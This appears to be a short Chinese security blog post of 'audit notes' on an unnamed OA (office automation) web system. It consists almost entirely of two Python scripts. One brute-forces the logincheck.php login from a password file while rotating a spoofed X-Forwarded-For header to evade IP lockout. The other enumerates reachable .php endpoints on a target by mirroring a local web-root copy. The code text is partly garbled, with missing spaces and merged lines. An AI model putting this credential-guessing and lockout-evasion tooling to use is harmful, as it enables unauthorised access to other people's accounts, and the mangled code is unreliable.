某OA 审计小记

import requestsimport sysimport re
def read_passwd(passwordfile):    withopen(file = passwordfile, mode='r') as f:        passwd = f.read().splitlines()        return passwd 
def Intruder_password(url,username,passwd_list):    success_str ="正在进入OA系统，请稍候..."    a=b=c=d=0    url = url +"/logincheck.php"    for passwd in passwd_list:        payload ="UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)        headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}        response = requests.request("POST", url, data=payload, headers=headers)        if(re.search(success_str, response.text)):            print("正确的账号名:{}密码:{}".format(username,passwd))        else:            print("错误密码:{}".format(passwd))        d=d+1        if(d ==255):            c = c +1            d =0        if(c ==255):            b = b +1            c =0        if(b ==255):            a = a +1            b =0

def main():    iflen(sys.argv) <4:        print("Usage: Intruder_password.py  targeturl username passwdfilen"              "Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")        exit()    url = sys.argv[1]    username = sys.argv[2]    passwd_list = read_passwd(sys.argv[3])    Intruder_password(url,username,passwd_list)
if__name__=='__main__':    main()

import osimport sysimport requests
def file_path(url,filefolder):    for root, dirs, files in os.walk(filefolder):        for f in files:            paths = os.path.join(root,f)            paths = paths.replace(filefolder,url)            paths = paths.replace("\","/")            #print(paths)             if(f.endswith(".php")):                response = requests.get(paths)                # print(str(response.status_code)+" "+str(len(response.text))+"  "+paths)                print("code:"+str(response.status_code) +" len:"+str(len(response.text))+" url: "+ paths )

def main():    iflen(sys.argv) <3:        print("Usage: file_path.py targeturl filefoldern"              "Example: python file_path.py http://10.0.18.1:80 "C:\Users\admin\Desktop\MYOA\webroot"")        exit()    url = sys.argv[1]    filefolder = sys.argv[2]    file_path(url,filefolder)

if__name__=='__main__':    main()